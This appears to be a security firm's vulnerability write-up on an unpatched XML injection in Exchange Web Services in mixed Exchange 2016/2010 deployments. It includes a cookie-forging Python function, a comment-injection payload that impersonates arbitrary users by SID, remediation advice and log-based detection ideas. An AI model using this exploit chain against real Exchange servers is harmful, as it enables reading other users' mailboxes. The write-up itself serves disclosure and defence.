Microsoft Exchange is one of the most critical assets in any organization. Consequently, it is a top target for any red team exercises or real-world hacking.
In a recent engagement, we encountered an environment where Exchange 2016 and Exchange 2010 were being deployed in parallel. We discovered an XML injection vulnerability in Exchange Web Services (EWS) that allowed us to impersonate arbitrary users and access all mailbox data. The attack is only applicable to this particular setup with Exchange 2016 as frontend and Exchange 2010 as backend.
We reported the vulnerability to Microsoft in Jan 2024. However, due to the end-of-life of Exchange 2010, Microsoft decided to take no immediate action with the following rationale:
After careful investigation, this case has been assessed as moderate severity and does not meet MSRC’s bar for immediate servicing due to Exchange 2010 being out of support. However, we have shared the report with the team responsible for maintaining the product or service. They will take appropriate action as needed to help keep customers protected.
We hope Microsoft will provide some workarounds to remediate this bug in the future.
The environment
In this engagement, we found that our client exposed several fully-patched Exchange 2016 servers over the Internet. Via another unrelated attack vector, we discovered that the client also ran several internal Exchange 2010 SP3 servers, as backup.
The vulnerability
EWS is a programming interface that allows external applications to interact with the Exchange Server. It provides an XML-based SOAP web service to read mailbox data, manage calendar events, send or receive emails, etc.
The EWS endpoint is located at https://<domain>/ews/exchange.asmx. An example request to find email items looks like as follows:
POST /EWS/Exchange.asmx HTTP/1.1
Content-Type: text/xml;charset=UTF-8
Host: ex16-01.xyz.corp
Content-Length: 826
<?xml version='1.0' encoding='utf-8'?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" >
<s:Header xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types">
<t:RequestServerVersion Version="Exchange2010_SP2"/>
</s:Header>
<s:Body xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"> <m:FindItem Traversal="Shallow">
<m:ItemShape>
<t:BaseShape>AllProperties</t:BaseShape>
</m:ItemShape>
<m:ParentFolderIds>
<t:DistinguishedFolderId Id="drafts"/>
</m:ParentFolderIds>
</m:FindItem>
</s:Body>
</s:Envelope>
For clarity, Exchange2010_SP2 in the above request is the EWS schema version. We did the testing on Exchange 2010 SP3.
Arbitrary backend forwarding
The EWS request first goes to the Exchange 2016 frontend. The frontend would normally forward this request to the Exchange 2016 backend. However, we can force the 2016 frontend to forward requests to the 2010 backend.
The frontend extracts the location of the backend from the X-BackEndCookie cookie. The unencrypted format of X-BackEndCookie looks as follows:
Server~{backend_server}~{backend_version}~{timestamp}
We can proxy any EWS requests to the Exchange 2010 backend by attaching the following cookie:
Server~ex10-01.xyz.corp~1937899520~2024-01-05T09:49:32
The X-BackEndCookie cookie is obfuscated with a simple XOR encryption algorithm. We can construct a valid cookie with the following Python code:
def get_backend_cookie(backend_server):
ObfuscateValue = 255
newrawdata = f"Server~{backend_server}~1937899520~2024-01-05T09:49:32".encode('ascii')
arraydata = bytes([ch ^ ObfuscateValue for ch in newrawdata])
newcookie = base64.b64encode(arraydata).decode('ascii')
return newcookie
The EWS request flow
EWS requests are processed as follows:
The attacker sends an EWS request to the Exchange 2016 frontend (https://ex16-01.xyz.corp/ews/exchange.asmx) with an applicable X-BackEndCookie cookie.
The Exchange 2016 frontend authenticates this request.
The Exchange 2016 frontend constructs a new EWS request, attaching an authentication token via an HTTP header or an element in the EWS body.
The Exchange 2016 frontend forwards that new EWS request to the Exchange 2010 backend (https://ex10-01.xyz.corp/ews/exchange.asmx).
The Exchange 2010 backend parses the incoming EWS request to extract the user ID from the authentication token.
The Exchange 2010 backend handles the logic of the EWS request.
How does the frontend attach an authentication token in step 3?
Let us consider the logic in Microsoft.Exchange.FrontEndHttpProxy.dll!Microsoft.Exchange.HttpProxy.EwsRequestStreamProxy->GetUpdatedBufferToSend:
The code flow:
Line 11 gets the authentication token via base.RequestContext.CreateSerializedSecurityAccessToken().
Line 12 then constructs a ProxySecurityContext element that contains the base64-encoded authentication token.
Line 25 inserts that ProxySecurityContext element into the SOAP header.
For example, if the input buffer is:
<Envelope>
<Header>
<RequestServerVersion Version="Exchange2010_SP2" />
</Header>
<Body>...</Body>
</Envelope>
The return value will be:
<Envelope>
<Header><ProxySecurityContext>[base64_authentication_token</ProxySecurityContext>
<RequestServerVersion Version="Exchange2010_SP2" />
</Header>
<Body>...</Body>
</Envelope>
How does the backend extract the authentication token in step 5?
The logic in Microsoft.Exchange.Services.DLL!Microsoft.Exchange.Services.Wcf.MessageHeaderProcessor->ProcessProxyHeaders works as follows:
You see a few if-else branches, but the main flow:
Line 6 gets the ProxySecurityContext header through the MessageHeaderProcessor.GetMessageHeader method.
Line 17 then calls ProxyHeaderConverter.ToAuthZClientInfo to get authZClientInfo.
It basically reverses the logic in step 3. It uses a standard API System.ServiceModel.Channels.MessageHeaders in the underlying to extract the ProxySecurityContext element.
Have you spotted the problem in these steps?
The root cause
The problem lies in how the ProxySecurityContext element is inserted in step 3. Here’s how it’s done:
Call string.IndexOf(”<Header”) to find the starting index of the SOAP header.
Insert the ProxySecurityContext element at that position using string concatenation.
After trying a few payloads, we came up with the following XML injection payload:
<Envelope><!--<Header>-->
<Header><RequestServerVersion Version="Exchange2010_SP2" />
</Header>
<Body>...</Body>
</Envelope>
The ProxySecurityContext element will go into the comment section. The output will be:
<Envelope><!--<Header><ProxySecurityContext>[base64_authentication_token]</ProxySecurityContext>-->
<Header><RequestServerVersion Version="Exchange2010_SP2" />
</Header>
<Body>...</Body>
</Envelope>
So we commented out the auto-generated ProxySecurityContext element.
Impersonate arbitrary users
Now, the Exchange 2010 backend will receive an EWS request without a ProxySecurityContext element. The idea is we provide another one under our control. However, because of some validations in the backend, we can’t provide another ProxySecurityContext element. Besides ProxySecurityContext, we know we might specify an authentication context using one of the following elements:
ProxySuggesterSid
ExchangeImpersonation
SerializedSecurityContext
OpenAsAdminOrSystemService
We used to leverage the ExchangeImpersonation and SerializedSecurityContext elements in previous vulnerabilities. We tested the XML injection bug with the SerializedSecurityContext element. And it works!
The payload to feed the Exchange 2016 frontend is:
<Envelope><!--<Header>-->
<Header>
<RequestServerVersion Version="Exchange2010_SP2" />
<SerializedSecurityContext>
<UserSid>[victim_SID]</UserSid>
<GroupSids>
<GroupIdentifier>
<SecurityIdentifier>[victim_SID]</SecurityIdentifier> </GroupIdentifier>
</GroupSids>
<RestrictedGroupSids>
<RestrictedGroupIdentifier></RestrictedGroupIdentifier> </RestrictedGroupSids>
</SerializedSecurityContext>
</Header>
<Body>...</Body>
</Envelope>
The Exchange 2010 backend will receive:
<Envelope><!--<Header><ProxySecurityContext>[base64_authentication_token]</ProxySecurityContext>-->
<Header>
<RequestServerVersion Version="Exchange2010_SP2" />
<SerializedSecurityContext>
<UserSid>[victim_SID]</UserSid>
<GroupSids>
<GroupIdentifier>
<SecurityIdentifier>[victim_SID]</SecurityIdentifier> </GroupIdentifier>
</GroupSids>
<RestrictedGroupSids>
<RestrictedGroupIdentifier></RestrictedGroupIdentifier> </RestrictedGroupSids>
</SerializedSecurityContext>
</Header>
<Body>...</Body>
</Envelope>
We must know the security identifier (SID) of the user to impersonate him. We can use the exchanger.py tool to extract the SID of all users by dumping Global Address Lists in the Exchange server. The requirement is only for a normal low-privilege user.
Recommendations
As Microsoft Exchange 2010 is at its end of life, we recommend you to upgrade it to a supported version or at least to turn off the EWS interface.
Detection ideas
While exploiting this bug, we observe some log evidence in the EWS log of both Exchange 2016 frontend and Exchange 2010 backend. SOC teams can collect these logs to detect the exploit we presented.
EWS log in Exchange 2016 backend
The log file is located at C:\Program Files\Microsoft\Exchange Server\V14\Logging\Ews. A log sample:
#Software: Microsoft Exchange Server #Version: 15.01.2507.035 #Log-type: HttpProxy Logs #Date: 2023-12-22T03:00:50.310Z #Fields: DateTime,RequestId,MajorVersion,MinorVersion,BuildVersion,RevisionVersion,ClientRequestId,Protocol,UrlHost,UrlStem,ProtocolAction,AuthenticationType,IsAuthenticated,AuthenticatedUser,Organization,AnchorMailbox,UserAgent,ClientIpAddress,ServerHostName,HttpStatus,BackEndStatus,ErrorCode,Method,ProxyAction,TargetServer,TargetServerVersion,RoutingType,RoutingHint,BackEndCookie,ServerLocatorHost,ServerLocatorLatency,RequestBytes,ResponseBytes,TargetOutstandingRequests,AuthModulePerfContext,HttpPipelineLatency,CalculateTargetBackEndLatency,GlsLatencyBreakup,TotalGlsLatency,AccountForestLatencyBreakup,TotalAccountForestLatency,ResourceForestLatencyBreakup,TotalResourceForestLatency,ADLatency,SharedCacheLatencyBreakup,TotalSharedCacheLatency,ActivityContextLifeTime,ModuleToHandlerSwitchingLatency,ClientReqStreamLatency,BackendReqInitLatency,BackendReqStreamLatency,BackendProcessingLatency,BackendRespInitLatency,BackendRespStreamLatency,ClientRespStreamLatency,KerberosAuthHeaderLatency,HandlerCompletionLatency,RequestHandlerLatency,HandlerToModuleSwitchingLatency,ProxyTime,CoreLatency,RoutingLatency,HttpProxyOverhead,TotalRequestTime,RouteRefresherLatency,UrlQuery,BackEndGenericInfo,GenericInfo,GenericErrors,EdgeTraceId,DatabaseGuid,UserADObjectGuid,PartitionEndpointLookupLatency,RoutingStatus ...
.
.
.
2023-12-22T04:05:30.624Z,f9791c39-4bb8-462c-ba76-4aaf63c01a4b,15,1,2507,35,,Ews,ex16-01.xyz.corp,/EWS/Exchange.asmx,,NTLM,true,XYZ\attacker1,,Sid~S-1-5-21-3033566494-934142002-2926428215-1154,,192.168.2.1,EX16-01,200,200,,POST,Proxy,ex10-02.xyz.corp,14.03.0123.000,IntraForest,WindowsIdentity-ServerCookie,Server~EX10-02.xyz.corp~1937899520~2024-11-05T09:49:32,,,1296,3495,,,2,0,,0,,0,,0,0,,0,33,0,0,1,0,23,0,0,1,5,0,31,0,24,6,7,9,33,,,,BeginRequest=2023-12-22T04:05:30.590Z;CorrelationID=<empty>;ProxyState-Run=None;FEAuth=BEVersion-1937997947;ProxyToDownLevel=True;BeginGetRequestStream=2023-12-22T04:05:30.599Z;OnRequestStreamReady=2023-12-22T04:05:30.599Z;BeginGetResponse=2023-12-22T04:05:30.599Z;OnResponseReady=2023-12-22T04:05:30.623Z;EndGetResponse=2023-12-22T04:05:30.623Z;ProxyState-Complete=ProxyResponseData;SharedCacheGuard=0;EndRequest=2023-12-22T04:05:30.624Z;S:ServiceCommonMetadata.Cookie=5539e7f39c15491192656313f3310515,,,,,,CafeV1
This log line shows that an attacker forces the frontend EX16-01 to proxy EWS requests to EX10-02.xyz.corp.
EWS log in Exchange 2010 backend
The log file is located at C:\Program Files\Microsoft\Exchange Server\V14\Logging\Ews. A log sample:
#Software: Microsoft Exchange Server #Version: 14.03.0498.000 #Log-type: EWS Logs #Date: 2023-12-22T03:35:20.352Z #Fields: DateTime,AuthenticationType,IsAuthenticated,AuthenticatedUser,Organization,UserAgent,ClientIpAddress,ServerHostName,SoapAction,HttpStatus,ErrorCode,ImpersonatedUser,Cookie,BeginBudgetConnections,EndBudgetConnections,BeginBudgetHangingConnections,EndBudgetHangingConnections,BeginBudgetAD,EndBudgetAD,BeginBudgetCAS,EndBudgetCAS,BeginBudgetRPC,EndBudgetRPC,BeginBudgetFindCount,EndBudgetFindCount,BeginBudgetSubscriptions,EndBudgetSubscriptions,DCResource,DCHealth,DCHistoricalLoad,MDBResource,MDBHealth,MDBHistoricalLoad,ThrottlingPolicy,ThrottlingDelay,ThrottlingRequestType,TotalDCRequestCount,TotalDCRequestLatency,TotalMBXRequestCount,TotalMBXRequestLatency,TotalRequestTime,GenericInfo,AuthenticationErrors,GenericErrors ...
.
.
.
2023-12-22T04:05:30.625Z,Negotiate,True,victim1@xyz.corp,,,192.168.2.1,EX10-02,FindItem,200,,,5539e7f39c15491192656313f3310515,0,1,0,0,30000/30000/0%,30000/30000/0%,54000/53939/1%,54000/53923/1%,36000/36000/0%,36000/36000/0%,1000/0,1000/1,5000/0,5000/0,,,,,,,DefaultThrottlingPolicy_5a89fa5e-0d75-4167-ae8e-588c8872bbd2,00:00:00,[C],0,0,3,0,16,ActAs=XYZ\victim1;
This log line shows that someone acts as XYZ\victim1.
my idol Khanh Pham <3